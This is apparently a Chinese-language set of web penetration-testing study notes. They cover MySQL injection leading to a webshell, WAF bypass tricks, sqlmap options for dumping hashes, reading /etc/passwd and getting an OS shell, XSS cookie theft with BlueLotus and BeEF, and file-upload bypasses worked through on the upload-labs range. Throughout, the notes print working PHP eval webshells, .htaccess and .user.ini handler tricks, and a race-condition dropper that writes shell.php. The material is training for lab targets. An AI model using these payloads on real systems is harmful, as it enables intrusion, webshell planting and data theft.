[TOC]
SQL注入补充
从MySQL注入到GetShell
Mysql⽀持向外写⽂件(这⾥的“外”是指服务器内部),需要⽤到 select into outfile 命令。
select into outfile的使⽤前提是:
-
要知道⽹站的绝对路径,可以通过开源程序、报错信息、phpinfo界⾯、404界⾯等⼀些⽅式知道;
-
对⽬录要有写权限,⼀般image之类的存放图⽚的⽬录有写权限;
-
要有mysql file权限(即能否对系统的⽂件读取和写操作),默认情况下只有root权限有;
还要注意:写的⽂件名⼀定是在⽹站中不存在的,不然会失败。
' union select 1,"<?php eval($_POST['a']);?>" into outfile '/var/www/html/s
hell2.php
SQL注入绕过
大小写绕过
⼤⼩写绕过⽤于只针对⼩写或⼤写的关键字匹配技术。
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
替换关键字
这种情况下⼤⼩写转化⽆法绕过,⽽且正则表达式会替换或删除select、union这些关键字,如果只匹配 ⼀次就很容易绕过。
举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
使用编码
-
URL编码
URL编码只进⾏了⼀次过滤,可以⽤两次编码绕过。
1%2527id=1%252f%252a*/UNION%252f%252a%252a/SELECT -
⼗六进制编码
mysql> select * fromusers whereuser_id=1 and (extractvalue(1,concat(0x7e, (selectpassword fromusers wherefirst_name=0x61646d696e),0x7e)));
使用注释
-
普通注释
-- , /**/, #,-- -举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4 'union%0aselect pass from users#/**/在构造的查询语句中插⼊注释,规避对空格的依赖或关键字识别;#、-- ⽤于终结语句的查询。
-
内联注释
⽐普通注释,内联注释⽤得更多,它有⼀个特性/* ! */只有MySQL能识别。
举例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3 mysql> selectuser_id fromusers whereuser_id=1 /*!union*/ /*!all*/ /*!sel ect*/ 2; mysql> selectuser_id fromusers whereuser_id=1 /*!union*/ /*!all*/ /*!sel ect*/ 1; mysql> selectuser_id fromusers whereuser_id=1 /*!union*/ /*all*/ /*!sele ct*/ 1;
等价函数与命令
有些函数或命令因其关键字被检测出来⽽⽆法使⽤,但是在很多情况下可以使⽤与之等价或类似的代码 替代其使⽤。
- 函数或变量
bin()# ⼆进制
hex()# 16进制
bin()、hex() ==>ascii()
sleep() ==>benchmark()
benchmark(count,expr)
benchmark会重复计算expr表达式count次,通过这种⽅式就可以评估出mysql执⾏这个expr表达
式的效率。
concat_ws() ==>concat()
concat_ws('分隔符', '字段1', '字段2'...) 多个列的字段合并并添加分隔符
concat('字段1', '字段2'...) 多个列的字段合并
mid()、substr() ==>substring()
mid() 函数⽤于得到⼀个字符串的⼀部分。
SELECTMID(ColumnName,Start,Length)
举例1:select mid(first_name,1,1) fromusers;
举例2:substring()和substr()⽆法使⽤时:
1 andascii(lower(mid((selectlast_name fromusers limit 1,1),1,1)))=98;
strcmp(str1,str2)⽐较两个字符串,如果这两个字符串相等返回0;如果第⼆个字符⼩于第⼀个
字符就返回1,反之返回-1。
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
2. 符号
and 和 or 有可能不能使⽤,可以尝试&& 和 || 能不能⽤;
\=不能使⽤的情况,可以考虑尝试<、>,因为如果不⼩于⼜不⼤于,那就是等于了;
空格,可以使⽤如下符号表示其作⽤:%20 %09 %0a %0b %0c %0d %a0 /\*\*/
特殊符号
1.使⽤反引号`,例如select first_name from`users`; 可以⽤来过空格和正则,特殊情况下
还可以将其做注释符⽤
2.神奇的"-+.",select+user_id-1+1.from users; “+”是⽤于字符串连接的,”-”和”.”在
此也⽤于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @⽤于变量定义如@var_name,⼀个@表示⽤户定义,@@表示
系统变量
sqlmap工具
官⽅⽹站:sqlmap.org/
下载及安装
-
Kali默认安装sqlmap
-
Linux下git直接安装
gitclone --depth 1https://github.com/sqlmapproject/sqlmap.git sqlmap-dev python sqlmap.py --update # 更新 python sqlmap.py -hh # 查看帮助信息 -
Windows下安装
Windows下下载sqlmap的压缩包,解压后即可使⽤。但需要⼀些组件包的⽀持,需要有Python环境⽀持。
参数详解
1. Target:目标
-
目标URL,-u或者--url
-u URL, --url=URL ⽬标URL (e.g."http://www.site.com/vuln.php?id=1") -
从Burp或者WebScarab代理中获取⽇志,-l
-l LOGFILE -
从⽂本中获取多个⽬标扫描,-m
-m BULKFILE 将⽬标地址保存在⽂件中,⼀⾏为⼀个URL地址进⾏批量检测。 -
从文件中加载HTTP请求,-r
-r REQUESTFILE 请求是HTTPS的时需要配合这个--force-ssl参数来使⽤,或者可以在Host头后⾯加上:443 -
处理Google的搜索结果,-g
-g "inurl:\".php?id=1\""(只获取前100个结果,需要挂代理)
2. Request:请求设置
--method:指定请求⽅法
--data:把数据以POST⽅式提交
--param:当GET或POST的数据需要⽤其他字符分割测试参数的时候需要⽤到此参数
--cookie:设置cookie,提交请求的时候附带所设置的cookie
--load-cookies:从⽂件获取cookie
--user-agent:可以使⽤–user-anget参数来修改
--headers:可以通过–headers参数来增加额外的http头
--proxy:设置代理,可以避免本机地址被封禁
--delay:可以设定两个HTTP(S)请求间的延迟 防⽌发送过快导致被封ip
--random-agent:使⽤–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进⾏注⼊。
--referer:在请求⽬标的时候可以⾃⼰伪造请求包中的referer
–-level:参数设定为3或者3以上的时候会尝试对referer注⼊
-
--data
此参数是把数据以POST⽅式提交,sqlmap会像检测GET参数⼀样检测POST参数。
python sqlmap.py -u "http://www.magedu.com/students.php" --data="id=1" -f --banner --dbs --users -
利⽤正则过滤⽬标⽹址,--scope
python sqlmap.py -l burp_http.log --scope="(www)?\.target\.(com|net|org)" -
避免过多的错误请求被屏蔽,--safe-url,--safe-freq
--safe-url:提供⼀个安全不错误的链接,每隔⼀段时间都会去访问⼀下。 --safe-freq:提供⼀个安全不错误的链接,每次测试请求之后都会再访问⼀遍安全链接。
3. Optimization:优化
-o 开启所有优化开关
4. Injection:注入
-p:设置想要测试的参数
--skip:不想要测试的参数可以通过skip设置跳过
--dbms:指定数据库,节省sqlmap的检测时间
--os:指定数据库服务系统,节省sqlmap的检测时间
--tamper:使⽤sqlmap⾃带的tamper(脚本),或者⾃⼰写的tamper,来混淆payload,通常⽤
来绕过waf和ips。
-
测试参数,-p,--skip
-p "id,user-anget"--skip="user-agent,referer"也可以在参数后面加上*来保留测试参数
-
指定数据库服务器系统,--os
--os:指定数据库服务系统,节省sqlmap的检测时间 -
脚本,--temper
在 \sqlmap\current\tamper 下有 sqlmap 自带的脚本
点进去,可以看到脚本的示范案例:
5. Detection:探测等级
-
探测等级,--level
共有五个等级,默认为1,最⼤为5。
这个参数不仅影响使⽤哪些payload,同时也会影响测试的注⼊点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在不确定哪个payload或者参数为注⼊点的时候,为了保证全⾯性,建议使⽤⾼的level值。
-
⻛险等级,--risk
共有三个⻛险等级,默认是1会测试⼤部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句 的SQL注⼊测试。
(在有些时候,例如在UPDATE/DELETE的语句中,注⼊⼀个OR的测试语句,可能导致更新整个表,造成很⼤的⻛险。)
测试的语句可以在xml/payloads.xml中找到
6. Fingerprint:指纹
-f, --fingerprint 执⾏检查⼴泛的DBMS版本指纹
-
设定延迟注⼊的时间,--time-sec
当使⽤时间盲注时,时刻使⽤--time-sec参数设定延时时间,默认是5秒。
-
设定UNION查询字段数,--union-cols
默认情况下sqlmap针对UNION查询的注⼊会使⽤NULL字符,但是有些情况下会造成⻚⾯返回失败,⽽ ⼀个随机整数是成功的,这时可以⽤--union-char只定UNION查询的字符。
-
⼆阶SQL注⼊,--second-order
有些时候注⼊点输⼊的数据看返回结果的时候并不是当前的⻚⾯,⽽是另外的⼀个⻚⾯,这时候就需要 指定到哪个⻚⾯获取响应判断真假。--second-order后⾯跟⼀个判断⻚⾯的URL地址。
7. Enumeration:枚举数据
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前⽤户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前⽤户是否DBA(数据库管理员)
--users 枚举数据库管理系统⽤户
--passwords 枚举数据库管理系统⽤户密码哈希
--privileges 枚举数据库管理系统⽤户的权限
--roles 枚举数据库管理系统⽤户的⻆⾊
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项⽬数
--dump 转储数据库表项,即下载
--dump-all 转储数据库所有表项
--search 搜索列(S),表(S)和/或数据库名称(S)
--comments 获取DBMS注释
-D DB 要进⾏枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进⾏枚举
-U USER ⽤来进⾏枚举的数据库⽤户
--exclude-sysdbs 枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 获取第⼀个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第⼀个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执⾏的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执⾏的SQL⽂件
-
版本号信息,-b,--banner
-
当前⽤户,--current-user
-
当前数据库,--current-db
-
当前⽤户是否为管理员,--is-dba
-
列出数据库管理⽤户,--users
-
列出并破解数据库⽤户的hash,--passwords
-
列出数据库系统的数据库,--dbs
-
列举数据库表,--tables,--exclude-sysdbs,-D 数据库名
--tables -D DB
-
列举数据库表中的列,--columns,-T,-D
--columns -T TBL DBMS -D DB
10. 转储数据库表项,--dump,--dump-all
```
--dump -C COL DBMS -T TBL DBMS -D DB
```
8. Brute force:爆破
--common-tables 检查存在共同表
--common-columns 检查存在共同列
--User-defined function injection ⽤户⾃定义函数注⼊
--udf-inject 注⼊⽤户⾃定义函数
--shared-lib=SHLIB 共享库的本地路径
9. File system access:访问文件系统
--file-read=RFILE 从后端的数据库管理系统读取⽂件
--file-write=WFILE 上传⽂件到后端的数据库管理系统
--file-dest=DFILE 后端的数据库管理系统写⼊⽂件的绝对路径
-
从数据库服务器中读取⽂件,--file-read(当数据库为MySQL,PostgreSQL或Microsoft SQL Server,且需要特定权限)
python sqlmap.py -r 1.txt --file-read "/etc/passwd"文件会存入指定地方:
-
把⽂件上传到数据库服务器中,--file-write,--file-dest(同上)
python sqlmap.py -r 1.txt --file-write="本地路径/user.txt" --file-dest="服务器路径/user. txt"
10. Operating system access:访问操作系统
--os-cmd=OSCMD 执⾏操作系统命令
--os-shell 交互式的操作系统的shell
--os-pwn 获取⼀个OOB shell,meterpreter或VNC
--os-smbrelay ⼀键获取⼀个OOB shell,meterpreter或VNC
--os-bof 存储过程缓冲区溢出利⽤
--priv-esc 数据库进程⽤户权限提升
--msf-path=MSFPATH Metasploit Framework 本地的安装路径
--tmp-path=TMPPATH 远程临时⽂件⽬录的绝对路径
-
获取整个表的数据,--dump,-C,-T,-D,--start,--stop,--first,--last
-
获取所有数据库表的内容,--dump-all,--exclude-sysdbs
-
搜索字段,表,数据库,--search,-C,-T,-D
-
运⾏⾃定义的SQL语句,--sql-query,--sql-shell
-
运⾏任意操作系统命令,--os-cmd,--os-shell
-
爬取⽹站URL,--crawl
sqlmap可以收集潜在的可能存在漏洞的连接,后⾯跟的参数是爬⾏的深度。此时的URL可以不带参数。
python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submi t=Submit#" --batch --crawl=3 -
定义dump数据的格式,--dump-format 输出的格式可定义为:CSV,HTML,SQLITE
-
⾃定义输出的路径,--output-dir
11. 非缓存重新扫描数据
--flush--session 重新扫描数据
实际利用(DVWA)
当给sqlmap⼀个URL的时候,它会:
- 判断可注⼊的参数
- 判断可以使⽤哪种SQL注⼊技术来注⼊
- 识别出哪种数据库
- 根据⽤户选择,读取哪些数据
-v参数:
0、只显示python错误以及严重的信息
1、同时显示基本信息和警告信息(默认)
2、同时显示debug信息
3、同时显示注⼊的payload
4、同时显示HTTP请求
5、同时显示HTTP响应头
6、同时显示HTTP响应⻚⾯
技巧:在实际检测过程中,sqlmap会不停的询问,需要⼿⼯输⼊Y/N来进⾏下⼀步操作,可以使⽤参 数“--batch”命令来⾃动答复和判断
Xss漏洞
反射型
反射型是一次性的,当⽤户访问恶意链接时候,会向服务器发起⼀个GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型。
存储型
存储型是持久的,常见于留言板,博客论坛反馈投诉,将恶意代码和正⽂都存⼊服务端(数 据库、内存、⽂件系统等),每次访问都会触发恶意代码。
DOM型
DOM型XSS其实是⼀种特殊类型的反射型XSS,也被称作本地跨站,它是基于DOM⽂档对象模型的⼀种 漏洞。DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,触发XSS 靠的是浏览器的DOM解析,完全是客户端的事情。
BlueLotus 和 Beef-xss 平台
BlueLotus 下载与安装
- 在github上下载该⼯具的压缩包:github.com/firesunCN/B…
2. 使用phpstudy搭建网站
- 访问 127.0.0.1/xss/install.php 进入安装界面
BlueLotus 使用
在公共模板里点击 default.js 点击添加。
在 我的JS 选择 default.js 模板 ,点击插入模板。
填入网站地址
点击生成playload,复制
发送到靶场
接收到消息,拿到cookie。
Xss盲打
盲打的意思是⽆法直接在前端看到反馈效果,只能通过后台看到输⼊的内容,从前端⽆法判断是否存在 XSS,这种情况下,我们直接往后台插⼊XSS代码,然后等待,当管理员或者⽤户访问到⽬标⻚⾯时就会 遭到XSS攻击。
攻击成功后,进入后台。
Beef-xss 下载与安装
-
输入命令进行安装
apt-get install beef-xss
-
直接运行
Beef-xss -
标记处的意思是叫你修改密码(密码输⼊时不可见),本身默认的密码和账号分别为beef 和beef。
- 我的密码设置成password,安装成功后访问 http://you_ip:3000/ui/panel
Beef-xss 使用
- 利用生成的链接写⼊存在有 XSS漏洞 的地⽅
- 上传成功后,在Beef平台就可以详细信息
命令操控:
命今颜⾊(Color): 绿⾊对⽬标主机⽣效并且不可⻅(不会被发现) 橙⾊对⽬标主机⽣效但可能可⻅(可能被发现) 灰⾊对⽬标主机来未必⽣效(可验证下) 红⾊对⽬标主机不⽣效
主要模块 Broser :主要是针对浏览器的⼀些信息收集或攻击,其下的⼦选项卡Hooked Domain主要是获 取HTTP属性值,⽐如cookie、表单值等,还可以做写简单的浏览器操作,⽐如替换href值,弹出警 告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是 浏览器通⽤操作和其他基本信息检测。 Chrome extensions :主要是针对⾕歌浏览器扩展插件 Debug :调试功能 Exploits :漏洞利⽤,主要利⽤⼀些已公开的漏洞进⾏攻击测试 Host :针对主机,⽐如检测主机的浏览器、系统信息、IP地址、安装软件等等 IPEC :协议间通信。主要是⽤来连接、控制受害者浏览器的 Metasploit :Beef可通过配置和metasploit平台联合,⼀旦有受害者出现,可通过信息收集确 定是否存在漏洞,进⼀步⽅便metasploit攻击测试 Misc :杂项。 Network :⽹络扫描 Persistence :维护受害者访问 Phonegap :⼿机测试 Social engineering :社会⼯程学攻击
实时日志:
-
隐藏链接,先复制下youxss漏洞的链接:http://192.168.184.130:8000/vul/xss/xss_stored.php
打开 <短网址|goo.su/>
其原理是网页的重定向。
文件上传漏洞
文件上传常见点
上传头像 上传相册 上传附件 添加⽂章图⽚ 前台留⾔资料上传 编辑器⽂件上传
靶场启动
靶场总结了常⻅的⽂件上传漏洞点,部分漏洞需要windows才能复现,⽆法在docker中复现。
docker run -d -p 8081:80 monstertsl/upload-labs
文件上传漏洞分类
客户端—JS绕过
- 访问 http://your_ip:8081 , 选择 Pass-01。Upload-labs(Pass-01)源码分析,通过验证发现是前端JS验证,⽽前端验证,⼏乎没有什么防护作⽤。
方法一:禁用JS
- 浏览器直接禁⽤JS,先按F12,然后按F1,找到禁⽤JS
上传成功
- 复制文件地址,用蚁剑链接shell。(密码是一句话木马的关键词)
方法二:后缀名绕过
- 先把⼀句话⽊⻢改为 .jpg|.png 其中⼀个后缀,上传,抓包
发送到重放器,把文件名称改成.php格式
发送成功
服务端白名单绕过
服务端⽩名单(Whitelist)是⼀种安全机制,它只允许预定义的合法元素通过,其他所有内容默认被拒绝。相⽐⿊ 名单,⽩名单通常更安全。但某些情况也会被绕过。
MIME类型检测绕过
Upload-labs(Pass-02)第⼆关通过服务端对数据包的MIME类型进⾏检查
- 查看源码白名单能通过的类型
- 通过burp抓包,修改Content-Type类型
发送成功
00截断绕过
旧的操作系统是C语⾔或汇编语⾔编写的,这两种语⾔在定义字符串时,以\0作为 字符串结束标志 或者 字符串结束符。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了⼀个字符串的结束符号。因此,我们可以通过修改数据包,插⼊\0字符的⽅式,达到字符串截断的⽬的。
服务端黑名单绕过
服务端⿊名单(Blacklist)是⼀种安全防护机制,它会明确禁⽌某些已知的危险元素
特殊可解析后缀
Upload-labs(Pass-03)根据源码可以看出,只是做了个简单的后缀名⿊名单,识别上传⽂件的类型是 否为 '.asp','.aspx','.php','.jsp' 中的⼀个,若是其中的⼀个,则不允许上传。
但是除了常⻅的 .php 扩展名外,许多 Web 服务器配置也会将以下扩展名识别为 PHP 脚本并执⾏其中的代 码:
-
.phtml
传统上⽤于 "PHP + HTML" 混合⽂件 许多默认配置中已启⽤
-
.phps
本应⽤于显示 PHP 源代码(Source) 但如果配置不当,可能会被执⾏⽽⾮显示
-
.php5
⽤于 PHP 5 特定脚本 在⼀些服务器上显式⽀持
-
.pht
较少⻅但可被解析的扩展名
所以由于服务端采⽤⿊名单的过滤⽅式,这⾥可以使⽤phtml后缀上传,直接修改后缀名,上传成功
.htaccess文件绕过
.htaccess ⽂件也被称为分布式配置⽂件,全称是 Hypertext Access。.htaccess ⽂件提供了针对⽬录 改变配置的⽅法。通过.htaccess⽂件,可以帮我们实现:
- ⽹⻚301重定向、⾃定义404错误⻚⾯。
- 改变⽂件扩展名、允许/阻⽌特定的⽤户或者⽬录的访问。
- 改变文件解析方式。
- 禁⽌⽬录列表、配置默认⽂档等功能。
.htaccess⽂件⽣效的前提条件
- mod_rewrite模块开启
- AllowOverride All
首先,先上传一个 内容如下的 .htaccess 文件,⽂件意思是告诉apache将2.jpg当作php⽂件来处理。
<FilesMatch"2.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
接着上传2.jpg ⽂件,从⽽完成.htaccess ⽂件上传解析漏洞的利⽤。
.user.ini文件绕过
Upload-labs(Pass-05)上传5.php、.htaccess、5.phtml等⽂件发现都被禁⽤,分析源码,发 现.user.ini没有被禁⽤。⽽.user.ini和.htaccess⼀样是⽬录的配置⽂件,.user.ini就是⽤户⾃定义的 php.ini,可以利⽤这个⽂件来构造后⻔和隐藏后⻔。
.user.ini使⽤范围很⼴,不仅限于Apache 服务器,同样适⽤于Nginx服务器,只要服务器启⽤了 fastcgi 模式 (通常⾮线程安全模式使⽤的就是fastcgi 模式)。
-
在 .user.ini 中写⼊如下内容并上传:意思是该⽬录下所有php⽂件都将包含2.gif。
auto_prepend_file=2.gif -
上传shell.gif,访问保存目录下的.php文件。
大小写绕过
Upload-labs(Pass-06)通过查看源码可以发现,虽然设置了⿊名单对常⻅的后缀进⾏过滤,但并未对 后缀名⼤⼩写进⾏统⼀。可以利⽤⼤⼩写进⾏绕过。例如:.PHp
改文件名字,直接上传
空格绕过
Upload-labs(Pass-07)通过代码分析没有去空格,在⽂件后缀加空格后上传
点绕过
Windows系统中会⾃动去除⽂件名最后的 . ,因此在Windows系统中可以使⽤此⽅法绕过;Linux系统 虽然不会⾃动去除⽂件名最后的 . ,但是部分Linux系统搭配中间件可以实现解析。 Upload-labs(Pass-08)分析代码没有去除点,直接在⽂件后⾯加上点。
::$DATA绕过
在Windows中,如果⽂件名 + ::DATA 之后的数据当成⽂件流处理,不会检测后 缀名,且保持::$DATA之前的⽂件名,使⽤它的⽬的就是不检查后缀名。
phpinfo.php::$DATA
配合解析绕过
Upload-labs(Pass-10),这⼀关的思路是它没有循环验证,也就是说⾸尾去空,删除末尾的点,去除字符串:$SDATA,转换为⼩写这些措施只验证了⼀次,所以绕过思路也很简单,只需要把绕过方法组合使用即可。
双写后缀名绕过
Upload-labs(Pass-11)从源码中可以发现,源码中定义了⿊名单列表,我们上传⽂件的后缀名凡是符 合⿊名单中任意⼀个后缀都会被替换为空,那么我们可以利⽤双写后缀名的⽅式进⾏绕过。
3.pphphp -> 3.php
服务端内容检查绕过
文件头检查
Upload-labs(Pass-14)根据下⾯描述,需要使⽤图⽚⻢进⾏上传,然后使⽤⽂件包含漏洞进⾏利⽤获 取Webshell。查看源码,发现web后端代码检查了上传⽂件的前两个字节并且根据字节判定⽂件后缀, 只能上传后缀为图⽚的⽂件。
⽂件包含漏洞位置: http://192.168.153.1:8081/include.php,需要有漏洞文件才能执行图片马。
-
下载一张正常图片
-
在cmd终端用copy命令合并正常图片和一句话木马
copy 1.png /b + 1.php /b 2.png //1.png是正常图⽚,1.php是⼀句话后门,2.png是制作的图⽚马
-
将上传的⽂件名输⼊file变量即可(注意问号要是英文版的)。
http://192.168.184.130:8081/include.php?file=upload/4120250821082650.png
突破getimagesize
Upload-labs(Pass-15)代码是⽤getimagesize函数来判断上传⽂件,作⽤是获取⽂件是不是图⽚格式 的,⽐如图⽚的⻓度和⾼度等。这个时候就不能再上传假图⽚了,需要上传⼀张真图然后抓包,在最后 添加⼀句话⽊⻢。利⽤过程和Pass-14⼀样。
源码显示:
抓包重放:
执行成功:
突破exif_imagetype
Upload-labs(Pass-16)exif_imagetype 读取⼀个图像的第⼀个字节并检查其签名,所以也是可以通 过在图⽚末尾添加⼀句话⽊⻢来进⾏绕过的,与(Pass-15)解法相同。
⼆次渲染绕过
Upload-labs(Pass-17)这⼀关⽐较综合,判断了后缀名、⽂件类型,以及利⽤ imagecreatefromXXX 判断是否为真实图⽚,最后再做了⼆次渲染。可以看到,这⾥先是判断后缀名和 ⽂件类型,然后再⽤imagecreatefrom[jpeg|png|gif] 函数判断是否是图⽚格式,如果是图⽚的话再⽤ image[jpeg|png|gif] 函数对其进⾏⼆次渲染。
简单来说就是根据⽤户上传的原始图⽚,新⽣成⼀个图⽚,新图⽚会保存在服务器上。
漏洞利用的关键是在于找到原始图片和新图片的交集部分,然后把木马写入到交集部分中。
GIF:渲染前后的两张GIF,没有发⽣变化的数据块部分直接插⼊Webshell 即可。
JPG:需要使⽤脚本将数据插⼊到特定的数据块,⽽且可能会不成功,所以需要多次尝试。
PNG:没有GIF 那么简单,需要将数据写⼊到PLTE 数据块 或者IDAT 数据块。
⽹上下载GIF图⽚,⽤ 010editor打开原始图⽚和新图⽚,使⽤tools -> compare files 进⾏对⽐,蓝⾊ 的区域都是没有改变的来,然后将⽂件的后缀名同⽩名单对⽐,如果是jpg、png、gif中的⼀种,就将⽂件进⾏重命名;如果不符合的话,unlink()函数就会删除该⽂件。
条件竞争
Upload-labs(Pass-18),从源码来看,服务器先是将上传的⽂件保存下来,然后将⽂件的后缀名同⽩ 名单对⽐,如果是jpg、png、gif中的⼀种,就将⽂件进⾏重命名;如果不符合的话,unlink()函数就会删 除该⽂件。
代码执⾏的过程是需要耗费时间的,如果我们能赶在上传的php脚本被删除之前访问到它,就能成功执⾏ 并⽣成新的webshell⽽新的webshell不会被删除,这个也叫做条件竞争上传绕过。
php⽂件如下,⼀旦执⾏后会在当前⽬录下写⼊shell.php:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["magedu"])?>');?>
上传cs.php,并⽤burp抓包,发送到Intruder模块。
选择 Null playloads,无限重复。
开启攻击后,重复访问发送的文件,直到显示文件存在,即 200。
再访问shell.php,200即攻击成功。
中间件解析漏洞
IIS 5.x/6.0 解析漏洞
1、当创建.asp的⽂件⽬录的时候,在此⽬录下的任意⽂件,服务器都解析为asp⽂件。例如如下: 漏洞⽬录利⽤形式:www.xxx.com/xx.asp/xx.j… xx.jpg的内容可以为⼀段合法的asp脚本⽂件。 2、服务器默认不解析;以后的内容,导致xx.asp;.jpg被解析成xx.asp
漏洞⽂件利⽤形式:www.xxx.com/xx.asp;.jpg xx.jpg的内容可以为⼀段合法的asp脚本⽂件。
Nginx 解析漏洞
Nginx⽂件解析漏洞主要发⽣在PHP环境与Nginx的配合使⽤中,核⼼问题是Nginx和PHP-FPM对请求URI的处 理不⼀致导致的。
- Nginx处理流程:Nginx根据location匹配规则将请求交给PHP-FPM处理
- PHP-FPM⾏为:PHP-FPM根据 SCRIPT_FILENAME 参数决定执⾏哪个⽂件
- 路径解析差异:Nginx和PHP-FPM对路径中的特殊字符(如 / 、 %00 )处理⽅式不同
触发条件: Nginx版本 < 0.8.41 配置了 fastcgi_split_path_info 且正则表达式不安全
Apache 解析漏洞
Apache是世界使⽤排名第⼀的Web服务器软件。它可以运⾏在⼏乎所有⼴泛使⽤的计算机平台上,由于 其跨平台和安全性被⼴泛使⽤,是最流⾏的Web服务器端软件之⼀。 Apache 在1.x和2.x版本中存在解析漏洞,例如如下地址格式:
www.xxxx.com/post_shell.php.mage.edu
Apache从右⾄左开始判断后缀,若edu⾮可识别后缀,再判断mage,直到找到可识别后缀为⽌,然后将 该可识别后缀进解析,因此如上地址解析为访问apache.php⽂件。
可以看出来,Apache允许⽂件有多个后缀名,并会按照第⼀个点来分析⽂件后缀,例如file.html.en。 Apache按照每个点来分割后缀名,因此此⽂件名为 .html.en。由于en后缀不被识别,便继续向前解 析。
Upload_Auto_Fuzz插件
内容介绍:
waf绕过功能
后缀变异:ASP/ASPX/PHP/JSP后缀混淆(空字节、双扩展名、特殊字符等) 内容编码:MIME编码、Base64编码、RFC 2047规范绕过 协议攻击:HTTP头拆分、分块传输编码、协议⾛私
系统特性
windwos特性: NTFS数据流(::$DATA) 保留设备名(CON, AUX) ⻓⽂件名截断
linux特性: Apache多级扩展解析 路径遍历尝试 点号截断攻击
内容欺骗
魔术字节注⼊(GIF/PNG/PDF头) SVG+XSS组合攻击 ⽂件内容混淆(注释插⼊、编码变异)
安装方式
-
该插件是python开发,因此需要先安装jython。
找到官网下载
在burp设置最底栏选中 jython。
- 下载Upload_Auto_Fuzz插件压缩包,解压
-
打开brup,进入扩展栏,点击添加
文件类型选Python,选择文件。
- 输出结果无错误即添加成功。
使用方法
- 用burp开启拦截,抓包
- 右键选择,发送到Intruder
- 在这两个地方添加变量
- 点击playload选择类型
- 选择生成器
6. 取消playload编码
7. 展开攻击